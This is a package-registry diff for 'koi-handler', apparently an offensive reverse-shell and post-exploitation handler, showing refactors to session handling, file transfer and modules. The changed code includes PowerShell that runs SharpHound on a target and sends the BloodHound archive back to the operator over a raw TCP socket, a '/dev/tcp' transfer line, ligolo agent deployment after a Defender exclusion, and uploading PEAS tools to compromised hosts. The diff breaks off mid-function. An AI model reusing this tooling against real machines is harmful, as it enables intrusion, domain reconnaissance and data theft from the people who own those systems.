koi-handler 0.11.2__tar.gz → 0.11.3__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {koi_handler-0.11.2/src/koi_handler.egg-info → koi_handler-0.11.3}/PKG-INFO +1 -1
- {koi_handler-0.11.2 → koi_handler-0.11.3}/pyproject.toml +1 -1
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/listener.py +15 -21
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/blueprint.py +52 -5
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/download.py +15 -5
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/ligolo.py +6 -27
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/peas.py +7 -32
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/sharphound.py +36 -33
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/tcp.py +17 -9
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/ui.py +29 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3/src/koi_handler.egg-info}/PKG-INFO +1 -1
- {koi_handler-0.11.2 → koi_handler-0.11.3}/LICENSE +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/setup.cfg +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/main.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/mcp/__init__.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/mcp/schema.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/mcp/server.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/duplicate.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/env_dump.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/get_processes.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/get_users.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/loader.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/network_enum.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/populate_win.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/secrets_dump.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/sysinfo.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/upload.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/upload64.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/wifi_enum.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/winscalate.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/session.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/__init__.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/agent_payload.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/engine/__init__.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/engine/__main__.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/engine/agent.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/engine/packet.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/engine/proxy.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/engine/stack.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/engine/tcp.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/engine/transport.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/engine/tun.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/manager.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/__init__.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/bash_obfuscate.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/cache.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/cli.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/config.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/connect/__init__.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/connect/base.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/connect/ssh.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/constants.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/detect.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/interact.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/logger.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/models.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/obfuscate_ui.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/payloads.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/powerupgrade.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/ps_obfuscate.py +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi_handler.egg-info/SOURCES.txt +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi_handler.egg-info/dependency_links.txt +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi_handler.egg-info/entry_points.txt +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi_handler.egg-info/requires.txt +0 -0
- {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi_handler.egg-info/top_level.txt +0 -0
|
@@ -179,6 +179,18 @@ class Listener:
|
|
|
179
179
|
except ValueError:
|
|
180
180
|
return next((s for s in self._snapshot() if s.tag == ref), None)
|
|
181
181
|
|
|
182
|
+
def _require_alive_session(self, ref: str) -> Optional[Session]:
|
|
183
|
+
self._prune()
|
|
184
|
+
sess = self._resolve_session(ref)
|
|
185
|
+
if sess is None:
|
|
186
|
+
notify('error', f"Session {accent(ref)} not found.")
|
|
187
|
+
return None
|
|
188
|
+
if not sess.alive:
|
|
189
|
+
notify('error', f"Session {accent(f'#{sess.id}')} is no longer alive.")
|
|
190
|
+
self._remove(sess.id)
|
|
191
|
+
return None
|
|
192
|
+
return sess
|
|
193
|
+
|
|
182
194
|
def _session_refs(self) -> list[str]:
|
|
183
195
|
refs = []
|
|
184
196
|
for s in self._snapshot():
|
|
@@ -689,16 +701,10 @@ class Listener:
|
|
|
689
701
|
notify('info', f"Loaded {accent(str(len(modules)))} modules.")
|
|
690
702
|
|
|
691
703
|
def _cmd_upgrade(self, ref: str) -> None:
|
|
692
|
-
self.
|
|
693
|
-
sess = self._resolve_session(ref)
|
|
704
|
+
sess = self._require_alive_session(ref)
|
|
694
705
|
if sess is None:
|
|
695
|
-
notify('error', f"Session {accent(ref)} not found.")
|
|
696
706
|
return
|
|
697
707
|
sid = sess.id
|
|
698
|
-
if not sess.alive:
|
|
699
|
-
notify('error', f"Session {accent(f'#{sid}')} is no longer alive.")
|
|
700
|
-
self._remove(sid)
|
|
701
|
-
return
|
|
702
708
|
if sess.upgraded:
|
|
703
709
|
notify('warning', f"Session {accent(f'#{sid}')} is already upgraded.")
|
|
704
710
|
if not yesno("Do you want to try upgrading again?"):
|
|
@@ -760,16 +766,10 @@ class Listener:
|
|
|
760
766
|
notify('success', f"Session {accent(f'#{sid}')} terminated.")
|
|
761
767
|
|
|
762
768
|
def _cmd_go(self, ref: str) -> None:
|
|
763
|
-
self.
|
|
764
|
-
sess = self._resolve_session(ref)
|
|
769
|
+
sess = self._require_alive_session(ref)
|
|
765
770
|
if sess is None:
|
|
766
|
-
notify('error', f"Session {accent(ref)} not found.")
|
|
767
771
|
return
|
|
768
772
|
sid = sess.id
|
|
769
|
-
if not sess.alive:
|
|
770
|
-
notify('error', f"Session {accent(f'#{sid}')} is no longer alive.")
|
|
771
|
-
self._remove(sid)
|
|
772
|
-
return
|
|
773
773
|
|
|
774
774
|
ip, port = sess.addr
|
|
775
775
|
is_windows_pty = sess.os_type in ("windows_cmd", "windows_ps") and sess.upgraded
|
|
@@ -852,16 +852,10 @@ class Listener:
|
|
|
852
852
|
print_report_box("Modules", data)
|
|
853
853
|
|
|
854
854
|
def _cmd_run(self, mod_name: str, ref: str, mod_args: list) -> None:
|
|
855
|
-
self.
|
|
856
|
-
sess = self._resolve_session(ref)
|
|
855
|
+
sess = self._require_alive_session(ref)
|
|
857
856
|
if sess is None:
|
|
858
|
-
notify('error', f"Session {accent(ref)} not found.")
|
|
859
857
|
return
|
|
860
858
|
sid = sess.id
|
|
861
|
-
if not sess.alive:
|
|
862
|
-
notify('error', f"Session {accent(f'#{sid}')} is no longer alive.")
|
|
863
|
-
self._remove(sid)
|
|
864
|
-
return
|
|
865
859
|
|
|
866
860
|
mod_cls = get_module(mod_name)
|
|
867
861
|
if mod_cls is None:
|
|
@@ -14,6 +14,7 @@ from typing import TYPE_CHECKING, Callable, Iterator, List, Literal, Optional, U
|
|
|
14
14
|
if TYPE_CHECKING:
|
|
15
15
|
from koi.session import Session
|
|
16
16
|
|
|
17
|
+
from koi.utils.cache import cache_path, fetch_or_cache
|
|
17
18
|
from koi.utils.config import TIMEOUTS
|
|
18
19
|
from koi.utils.constants import ANSI_RE, SOCKET_BUFFER_SIZE
|
|
19
20
|
from koi.utils.models import CommandResult, StreamLine
|
|
@@ -28,11 +29,8 @@ import argparse
|
|
|
28
29
|
|
|
29
30
|
_PS_PROMPT = re.compile(r'^PS\s+\S+>\s*')
|
|
30
31
|
|
|
31
|
-
# Lines exec_stream holds while learning whether the shell echoes.
|
|
32
32
|
_ECHO_PREAMBLE_LINES = 8
|
|
33
33
|
_SELECT_TIMEOUT = 0.1
|
|
34
|
-
# Ceilings so a command that streams endlessly (or without newlines) cannot grow
|
|
35
|
-
# unbounded in memory while exec() waits for its sentinel or its timeout.
|
|
36
34
|
_MAX_EXEC_OUTPUT_BYTES = 8 * 1024 * 1024
|
|
37
35
|
_MAX_LINE_BYTES = 1024 * 1024
|
|
38
36
|
|
|
@@ -361,7 +359,10 @@ class KoiModule(ABC):
|
|
|
361
359
|
"""Transfer *raw* bytes to *dest* on a Linux target via /dev/tcp."""
|
|
362
360
|
local_ip = self._get_local_ip()
|
|
363
361
|
quoted = self._shell_quote(dest)
|
|
364
|
-
port, thread, errors = spawn_send_server(
|
|
362
|
+
port, thread, errors = spawn_send_server(
|
|
363
|
+
raw, timeout=timeout, on_progress=on_progress,
|
|
364
|
+
expected_ip=self.session.addr[0],
|
|
365
|
+
)
|
|
365
366
|
result = self.exec(f"cat < /dev/tcp/{local_ip}/{port} > {quoted}", timeout=timeout)
|
|
366
367
|
thread.join(timeout=timeout)
|
|
367
368
|
|
|
@@ -393,7 +394,10 @@ class KoiModule(ABC):
|
|
|
393
394
|
"$ExecutionContext.SessionState.Path."
|
|
394
395
|
f"GetUnresolvedProviderPathFromPSPath('{ps_dest}')"
|
|
395
396
|
)
|
|
396
|
-
port, thread, errors = spawn_send_server(
|
|
397
|
+
port, thread, errors = spawn_send_server(
|
|
398
|
+
raw, timeout=timeout, on_progress=on_progress,
|
|
399
|
+
expected_ip=self.session.addr[0],
|
|
400
|
+
)
|
|
397
401
|
ps_cmd = (
|
|
398
402
|
f"$_c=New-Object Net.Sockets.TcpClient('{local_ip}',{port});"
|
|
399
403
|
f"$_s=$_c.GetStream();"
|
|
@@ -429,6 +433,49 @@ class KoiModule(ABC):
|
|
|
429
433
|
return self._upload_bytes_lin(raw, dest, timeout, on_progress)
|
|
430
434
|
return self._upload_bytes_win(raw, dest, timeout, on_progress)
|
|
431
435
|
|
|
436
|
+
def _fetch_and_deploy(
|
|
437
|
+
self,
|
|
438
|
+
dest: str,
|
|
439
|
+
*,
|
|
440
|
+
url: Optional[str] = None,
|
|
441
|
+
cache_key: Optional[str] = None,
|
|
442
|
+
raw: Optional[bytes] = None,
|
|
443
|
+
label: Optional[str] = None,
|
|
444
|
+
chmod: bool = False,
|
|
445
|
+
timeout: Optional[float] = None,
|
|
446
|
+
) -> Optional[bytes]:
|
|
447
|
+
"""Fetch a resource (or use provided bytes) and upload it to the target.
|
|
448
|
+
|
|
449
|
+
Returns the raw bytes on success, None on failure.
|
|
450
|
+
"""
|
|
451
|
+
if raw is None:
|
|
452
|
+
display = label or cache_key or "resource"
|
|
453
|
+
with self.spinner(f"Fetching {display}..."):
|
|
454
|
+
try:
|
|
455
|
+
raw, source = fetch_or_cache(url, cache_key)
|
|
456
|
+
except Exception as exc:
|
|
457
|
+
self.err(f"Could not fetch {display}: {exc}")
|
|
458
|
+
return None
|
|
459
|
+
if source == "cache":
|
|
460
|
+
self.ok(f"Using cached {display} ({cache_path(cache_key)})")
|
|
461
|
+
|
|
462
|
+
timeout = timeout or max(TIMEOUTS["upload"], len(raw) // 50_000 + 30)
|
|
463
|
+
|
|
464
|
+
bar = self.ui.ProgressBar(total=len(raw))
|
|
465
|
+
self.status(f"Uploading {label or 'file'} -> {dest} ({len(raw):,} bytes)...")
|
|
466
|
+
ok = self._upload_bytes(raw, dest, timeout=timeout, on_progress=bar.update)
|
|
467
|
+
bar.done()
|
|
468
|
+
print()
|
|
469
|
+
|
|
470
|
+
if not ok:
|
|
471
|
+
self.err("Transfer failed.")
|
|
472
|
+
return None
|
|
473
|
+
|
|
474
|
+
if chmod and self.session.os_type == "linux":
|
|
475
|
+
self.exec(f"chmod +x {self._shell_quote(dest)}")
|
|
476
|
+
|
|
477
|
+
return raw
|
|
478
|
+
|
|
432
479
|
def run_module(self, io_timeout: Optional[float] = None) -> None:
|
|
433
480
|
"""Run the module while owning the session socket throughout.
|
|
434
481
|
|
|
@@ -102,7 +102,8 @@ class DownloadModule(KoiModule):
|
|
|
102
102
|
if not is_dir:
|
|
103
103
|
bar = self.ui.ProgressBar(total=remote_size or 0)
|
|
104
104
|
with TCPReceiveServer(
|
|
105
|
-
timeout=TIMEOUTS.get("download", 300), on_progress=bar.update
|
|
105
|
+
timeout=TIMEOUTS.get("download", 300), on_progress=bar.update,
|
|
106
|
+
expected_ip=self.session.addr[0],
|
|
106
107
|
) as srv:
|
|
107
108
|
port = srv.port
|
|
108
109
|
self.status(
|
|
@@ -161,7 +162,8 @@ class DownloadModule(KoiModule):
|
|
|
161
162
|
bar = self.ui.ProgressBar(total=remote_size or 0)
|
|
162
163
|
|
|
163
164
|
if os_type == "linux":
|
|
164
|
-
with TCPReceiveServer(timeout=_DIR_TIMEOUT, on_progress=bar.update
|
|
165
|
+
with TCPReceiveServer(timeout=_DIR_TIMEOUT, on_progress=bar.update,
|
|
166
|
+
expected_ip=self.session.addr[0]) as srv:
|
|
165
167
|
port = srv.port
|
|
166
168
|
self.status(
|
|
167
169
|
f"Downloading {remote_path}/"
|
|
@@ -179,7 +181,8 @@ class DownloadModule(KoiModule):
|
|
|
179
181
|
return
|
|
180
182
|
|
|
181
183
|
else:
|
|
182
|
-
with TCPReceiveServer(timeout=_DIR_TIMEOUT, on_progress=bar.update
|
|
184
|
+
with TCPReceiveServer(timeout=_DIR_TIMEOUT, on_progress=bar.update,
|
|
185
|
+
expected_ip=self.session.addr[0]) as srv:
|
|
183
186
|
port = srv.port
|
|
184
187
|
self.status(
|
|
185
188
|
f"Downloading {remote_path}\\"
|
|
@@ -239,8 +242,15 @@ class DownloadModule(KoiModule):
|
|
|
239
242
|
file_count = sum(1 for m in tar.getmembers() if m.isfile())
|
|
240
243
|
else:
|
|
241
244
|
with zipfile.ZipFile(io.BytesIO(raw)) as zf:
|
|
242
|
-
|
|
243
|
-
|
|
245
|
+
base = os.path.abspath(local_out)
|
|
246
|
+
safe = [
|
|
247
|
+
info for info in zf.infolist()
|
|
248
|
+
if os.path.abspath(os.path.join(local_out, info.filename)) == base
|
|
249
|
+
or os.path.abspath(os.path.join(local_out, info.filename)).startswith(base + os.sep)
|
|
250
|
+
]
|
|
251
|
+
for info in safe:
|
|
252
|
+
zf.extract(info, path=local_out)
|
|
253
|
+
file_count = sum(1 for i in safe if not i.filename.endswith("/"))
|
|
244
254
|
except zipfile.BadZipFile as exc:
|
|
245
255
|
self.err(f"Received incomplete archive — {exc}")
|
|
246
256
|
return
|
|
@@ -4,7 +4,6 @@ import io
|
|
|
4
4
|
import json
|
|
5
5
|
import re
|
|
6
6
|
import tarfile
|
|
7
|
-
import time
|
|
8
7
|
import zipfile
|
|
9
8
|
|
|
10
9
|
from koi.modules.blueprint import KoiModule
|
|
@@ -192,37 +191,17 @@ class LigoloModule(KoiModule):
|
|
|
192
191
|
)
|
|
193
192
|
self.status(f"Defender exclusion added for {dest_dir}")
|
|
194
193
|
|
|
195
|
-
self.
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
print()
|
|
201
|
-
|
|
202
|
-
if not ok:
|
|
203
|
-
self.err("Upload failed or file not present on target after transfer.")
|
|
194
|
+
raw = self._fetch_and_deploy(
|
|
195
|
+
dest, raw=agent_bytes, label="ligolo agent",
|
|
196
|
+
chmod=(os_name == "linux"),
|
|
197
|
+
)
|
|
198
|
+
if raw is None:
|
|
204
199
|
return
|
|
205
200
|
|
|
206
|
-
time.sleep(1.5)
|
|
207
|
-
|
|
208
|
-
if os_name == "linux":
|
|
209
|
-
quoted = self._shell_quote(dest)
|
|
210
|
-
result = self.exec(f"test -s {quoted} && echo OK || echo MISS")
|
|
211
|
-
if "OK" not in result.stdout:
|
|
212
|
-
self.err("Upload failed or file not present on target after transfer.")
|
|
213
|
-
return
|
|
214
|
-
self.exec(f"chmod +x {quoted}")
|
|
215
|
-
else:
|
|
216
|
-
check = self._win_query(f"(Test-Path '{self._ps_quote(dest)}').ToString()")
|
|
217
|
-
if check.strip().lower() != "true":
|
|
218
|
-
self.err("Upload failed or file not present on target after transfer.")
|
|
219
|
-
return
|
|
220
|
-
|
|
221
|
-
print()
|
|
222
201
|
self.box("ligolo-ng agent deployed", {
|
|
223
202
|
"version": tag,
|
|
224
203
|
"asset": asset["name"],
|
|
225
204
|
"arch": arch,
|
|
226
205
|
"remote": dest,
|
|
227
|
-
"size": f"{len(
|
|
206
|
+
"size": f"{len(raw)} bytes ({len(raw)/1024:.1f} KB)",
|
|
228
207
|
})
|
|
@@ -1,10 +1,6 @@
|
|
|
1
1
|
from __future__ import annotations
|
|
2
2
|
|
|
3
|
-
import shlex
|
|
4
|
-
|
|
5
3
|
from koi.modules.blueprint import KoiModule
|
|
6
|
-
from koi.utils.cache import cache_path, fetch_or_cache
|
|
7
|
-
from koi.utils.config import TIMEOUTS
|
|
8
4
|
|
|
9
5
|
LINPEAS_URL = "https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh"
|
|
10
6
|
WINPEAS_URL = "https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe"
|
|
@@ -33,43 +29,22 @@ class PeasModule(KoiModule):
|
|
|
33
29
|
]
|
|
34
30
|
|
|
35
31
|
def run(self) -> None:
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
if os_type == "linux":
|
|
32
|
+
if self.session.os_type == "linux":
|
|
39
33
|
url, name = LINPEAS_URL, "linpeas.sh"
|
|
40
34
|
dest = self.args.output or f"./{name}"
|
|
41
35
|
else:
|
|
42
36
|
url, name = WINPEAS_URL, "winPEASx64.exe"
|
|
43
37
|
dest = self.args.output or f".\\{name}"
|
|
44
38
|
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
return
|
|
51
|
-
|
|
52
|
-
if source == "cache":
|
|
53
|
-
self.ok(f"Using cached {name} ({cache_path(name)})")
|
|
54
|
-
else:
|
|
55
|
-
self.ok(f"{name} fetched from PEASS-ng releases")
|
|
56
|
-
|
|
57
|
-
total = len(raw)
|
|
58
|
-
bar = self.ui.ProgressBar(total=total)
|
|
59
|
-
self.status(f"Uploading {name} -> {dest} ({total} bytes)...")
|
|
60
|
-
ok = self._upload_bytes(raw, dest, timeout=TIMEOUTS["upload"], on_progress=bar.update)
|
|
61
|
-
bar.done()
|
|
62
|
-
print()
|
|
63
|
-
|
|
64
|
-
if not ok:
|
|
65
|
-
self.err("Transfer failed.")
|
|
39
|
+
raw = self._fetch_and_deploy(
|
|
40
|
+
dest, url=url, cache_key=name, label=name,
|
|
41
|
+
chmod=(self.session.os_type == "linux"),
|
|
42
|
+
)
|
|
43
|
+
if raw is None:
|
|
66
44
|
return
|
|
67
45
|
|
|
68
|
-
if os_type == "linux":
|
|
69
|
-
self.exec(f"chmod +x {shlex.quote(dest)}")
|
|
70
|
-
|
|
71
46
|
self.box("Upload complete", {
|
|
72
47
|
"tool": name,
|
|
73
48
|
"remote path": dest,
|
|
74
|
-
"size": f"{
|
|
49
|
+
"size": f"{len(raw)} bytes ({len(raw)/1024:.1f} KB)",
|
|
75
50
|
})
|
|
@@ -96,40 +96,43 @@ class SharpHoundModule(KoiModule):
|
|
|
96
96
|
) -> tuple[str, bytes]:
|
|
97
97
|
"""Run SharpHound on target, return (status, payload)."""
|
|
98
98
|
local_ip = self._get_local_ip()
|
|
99
|
-
|
|
100
|
-
|
|
99
|
+
with TCPReceiveServer(
|
|
100
|
+
timeout=timeout, expected_ip=self.session.addr[0],
|
|
101
|
+
) as srv:
|
|
102
|
+
port = srv.port
|
|
103
|
+
|
|
104
|
+
ps_cmd = (
|
|
105
|
+
f"$ErrorActionPreference='Continue';"
|
|
106
|
+
f"$work=(Get-Item '{work_dir}').FullName;"
|
|
107
|
+
f"$exe=Join-Path $work '{exe_name}';"
|
|
108
|
+
f"$log=Join-Path $work '{log_name}';"
|
|
109
|
+
f"$payload=$null;"
|
|
110
|
+
f"try{{"
|
|
111
|
+
f" Push-Location $work;"
|
|
112
|
+
f" & $exe -c {collection} --outputdirectory $work *>&1 | Out-File -FilePath $log -Encoding utf8;"
|
|
113
|
+
f" Pop-Location;"
|
|
114
|
+
f" $zip=Get-ChildItem -Path $work -Filter '*_BloodHound.zip' -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName;"
|
|
115
|
+
f" if($zip -and (Test-Path $zip)){{"
|
|
116
|
+
f" $b=[IO.File]::ReadAllBytes($zip);"
|
|
117
|
+
f" $h=[Text.Encoding]::UTF8.GetBytes('OK:');"
|
|
118
|
+
f" $payload=New-Object byte[] ($h.Length+$b.Length);"
|
|
119
|
+
f" [Array]::Copy($h,0,$payload,0,$h.Length);"
|
|
120
|
+
f" [Array]::Copy($b,0,$payload,$h.Length,$b.Length);"
|
|
121
|
+
f" }}else{{"
|
|
122
|
+
f" $logTxt=if(Test-Path $log){{[IO.File]::ReadAllText($log)}}else{{'(no log file produced)'}};"
|
|
123
|
+
f" $payload=[Text.Encoding]::UTF8.GetBytes('ERR:'+$logTxt);"
|
|
124
|
+
f" }}"
|
|
125
|
+
f"}}catch{{"
|
|
126
|
+
f" $payload=[Text.Encoding]::UTF8.GetBytes('EXC:'+$_.ToString());"
|
|
127
|
+
f"}}"
|
|
128
|
+
f"$_c=New-Object Net.Sockets.TcpClient('{local_ip}',{port});"
|
|
129
|
+
f"$_s=$_c.GetStream();"
|
|
130
|
+
f"$_s.Write($payload,0,$payload.Length);"
|
|
131
|
+
f"$_s.Flush();$_c.Close()"
|
|
132
|
+
)
|
|
133
|
+
self._dispatch_ps(ps_cmd)
|
|
134
|
+
data = srv.collect()
|
|
101
135
|
|
|
102
|
-
ps_cmd = (
|
|
103
|
-
f"$ErrorActionPreference='Continue';"
|
|
104
|
-
f"$work=(Get-Item '{work_dir}').FullName;"
|
|
105
|
-
f"$exe=Join-Path $work '{exe_name}';"
|
|
106
|
-
f"$log=Join-Path $work '{log_name}';"
|
|
107
|
-
f"$payload=$null;"
|
|
108
|
-
f"try{{"
|
|
109
|
-
f" Push-Location $work;"
|
|
110
|
-
f" & $exe -c {collection} --outputdirectory $work *>&1 | Out-File -FilePath $log -Encoding utf8;"
|
|
111
|
-
f" Pop-Location;"
|
|
112
|
-
f" $zip=Get-ChildItem -Path $work -Filter '*_BloodHound.zip' -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName;"
|
|
113
|
-
f" if($zip -and (Test-Path $zip)){{"
|
|
114
|
-
f" $b=[IO.File]::ReadAllBytes($zip);"
|
|
115
|
-
f" $h=[Text.Encoding]::UTF8.GetBytes('OK:');"
|
|
116
|
-
f" $payload=New-Object byte[] ($h.Length+$b.Length);"
|
|
117
|
-
f" [Array]::Copy($h,0,$payload,0,$h.Length);"
|
|
118
|
-
f" [Array]::Copy($b,0,$payload,$h.Length,$b.Length);"
|
|
119
|
-
f" }}else{{"
|
|
120
|
-
f" $logTxt=if(Test-Path $log){{[IO.File]::ReadAllText($log)}}else{{'(no log file produced)'}};"
|
|
121
|
-
f" $payload=[Text.Encoding]::UTF8.GetBytes('ERR:'+$logTxt);"
|
|
122
|
-
f" }}"
|
|
123
|
-
f"}}catch{{"
|
|
124
|
-
f" $payload=[Text.Encoding]::UTF8.GetBytes('EXC:'+$_.ToString());"
|
|
125
|
-
f"}}"
|
|
126
|
-
f"$_c=New-Object Net.Sockets.TcpClient('{local_ip}',{port});"
|
|
127
|
-
f"$_s=$_c.GetStream();"
|
|
128
|
-
f"$_s.Write($payload,0,$payload.Length);"
|
|
129
|
-
f"$_s.Flush();$_c.Close()"
|
|
130
|
-
)
|
|
131
|
-
self._dispatch_ps(ps_cmd)
|
|
132
|
-
data = srv.collect()
|
|
133
136
|
if data.startswith(b"OK:"):
|
|
134
137
|
return "ok", data[3:]
|
|
135
138
|
if data.startswith(b"ERR:"):
|
|
@@ -101,9 +101,11 @@ def spawn_send_server(
|
|
|
101
101
|
|
|
102
102
|
|
|
103
103
|
class TCPReceiveServer:
|
|
104
|
-
def __init__(self, timeout: float = TIMEOUTS["download"], on_progress=None
|
|
104
|
+
def __init__(self, timeout: float = TIMEOUTS["download"], on_progress=None,
|
|
105
|
+
expected_ip: Optional[str] = None):
|
|
105
106
|
self._timeout = timeout
|
|
106
107
|
self._on_progress = on_progress
|
|
108
|
+
self._expected_ip = expected_ip
|
|
107
109
|
self._sock = None
|
|
108
110
|
self._done = threading.Event()
|
|
109
111
|
self._data = b""
|
|
@@ -118,29 +120,35 @@ class TCPReceiveServer:
|
|
|
118
120
|
return self
|
|
119
121
|
|
|
120
122
|
def _run(self) -> None:
|
|
121
|
-
|
|
123
|
+
chunks: list[bytes] = []
|
|
124
|
+
total = 0
|
|
122
125
|
try:
|
|
123
|
-
conn
|
|
126
|
+
conn = None
|
|
127
|
+
while conn is None:
|
|
128
|
+
candidate, peer = self._sock.accept()
|
|
129
|
+
if self._expected_ip is not None and peer[0] != self._expected_ip:
|
|
130
|
+
candidate.close()
|
|
131
|
+
continue
|
|
132
|
+
conn = candidate
|
|
124
133
|
conn.settimeout(self._timeout)
|
|
125
134
|
try:
|
|
126
135
|
while chunk := conn.recv(SOCKET_BUFFER_SIZE):
|
|
127
|
-
|
|
136
|
+
chunks.append(chunk)
|
|
137
|
+
total += len(chunk)
|
|
128
138
|
if self._on_progress:
|
|
129
|
-
self._on_progress(
|
|
139
|
+
self._on_progress(total)
|
|
130
140
|
except socket.timeout:
|
|
131
|
-
|
|
132
|
-
self._error = f"receive stalled after {len(buf)} bytes"
|
|
141
|
+
self._error = f"receive stalled after {total} bytes"
|
|
133
142
|
finally:
|
|
134
143
|
conn.close()
|
|
135
144
|
except Exception as exc:
|
|
136
145
|
self._error = str(exc)
|
|
137
146
|
finally:
|
|
138
|
-
self._data =
|
|
147
|
+
self._data = b"".join(chunks)
|
|
139
148
|
self._close()
|
|
140
149
|
self._done.set()
|
|
141
150
|
|
|
142
151
|
def collect(self) -> bytes:
|
|
143
|
-
# _run always sets _done (socket timeouts bound it); a deadline here could fire mid-transfer.
|
|
144
152
|
self._done.wait()
|
|
145
153
|
if self._error:
|
|
146
154
|
raise RuntimeError(self._error)
|
|
@@ -140,6 +140,25 @@ def _vlen(s) -> int:
|
|
|
140
140
|
return len(_ANSI.sub("", str(s)))
|
|
141
141
|
|
|
142
142
|
|
|
143
|
+
_C1_AND_CTRL = __import__("re").compile(r'[\x00-\x08\x0b\x0c\x0e-\x1a\x1c-\x1f\x7f\x80-\x9f]')
|
|
144
|
+
|
|
145
|
+
def _sanitize(text: str) -> str:
|
|
146
|
+
"""Strip dangerous escape sequences (OSC, cursor, erase…) but keep SGR (colors/bold).
|
|
147
|
+
|
|
148
|
+
Two passes: the ANSI regex handles ESC-initiated sequences (keeping only
|
|
149
|
+
SGR), then a character-class pass strips C1 single-byte controls (0x80-0x9F,
|
|
150
|
+
which some terminals interpret as CSI/OSC/DCS without a leading ESC) and
|
|
151
|
+
other dangerous C0 controls. TAB, LF, CR and ESC are preserved.
|
|
152
|
+
"""
|
|
153
|
+
def _keep_sgr(m: "re.Match[str]") -> str:
|
|
154
|
+
seq = m.group(0)
